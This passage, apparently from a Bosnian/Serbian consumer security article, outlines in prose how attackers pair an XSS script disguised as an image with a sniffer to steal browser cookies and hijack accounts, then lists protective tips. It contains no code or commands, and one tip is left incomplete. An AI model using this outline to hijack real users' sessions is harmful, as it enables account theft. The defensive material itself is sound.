  • U pravilu, hakeri koriste gore navedene alate (+ druge) iu kombinaciji (pošto je nivo zaštite na mnogim web resursima prilično visok) i odvojeno (kada su korisnici pretjerano naivni).

    XSS + njuškalo
  • Kreira se XSS skripta koja specificira adresu njuškala na mreži (bilo domaćeg ili određenog servisa).
  • Zlonamjerni kod se čuva sa ekstenzijom .img (format slike).
  • Ova datoteka se zatim učitava na web stranicu, chat ili ličnu poruku - gdje će se napad izvršiti.
  • Pažnju korisnika skreće na stvorenu „zamku“ (tu stupa na snagu socijalni inženjering).
  • Ako se zamka aktivira, njuškalo presreće kolačiće iz pretraživača žrtve.
  • Napadač otvara dnevnike njuškanja i preuzima ukradene kolačiće.
  • Zatim vrši zamjenu kako bi dobio prava vlasnika računa koristeći gore navedene alate.
  • Zaštita kolačića od hakovanja
  • Koristite šifrovanu vezu (koristeći odgovarajuće protokole i sigurnosne metode).
  • Ne odgovarajte na sumnjive veze, slike ili primamljive ponude da se upoznate s “novim besplatnim softverom”. Posebno od stranaca.
  • Koristite samo pouzdane web resurse.
  • Završite autorizovanu sesiju klikom na dugme „Odjava“ (ne samo zatvaranjem kartice!). Pogotovo ako ste se prijavili na svoj račun ne s osobnog računara, već, na primjer, sa računara u internet kafeu.
  • Nemojte koristiti funkciju "Sačuvaj lozinku" pretraživača. Pohranjeni podaci o registraciji značajno povećavaju rizik od krađe. Ne budite lijeni, nemojte gubiti nekoliko minuta vremena unoseći svoju lozinku i prijavu na početku svake sesije.
  • Nakon surfanja webom - posjeta društvenim mrežama, forumima, chatovima, web stranicama - izbrišite sačuvane kolačiće i obrišite keš pretraživača.
  • Redovno ažurirajte pretraživače i antivirusni softver.
  • Koristite proširenja pretraživača koja štite od XSS napada (na primjer, NoScript za FF i Google Chrome).
  • Periodično na računima.
  • I što je najvažnije, ne gubite budnost i pažnju dok se opuštate ili radite na internetu!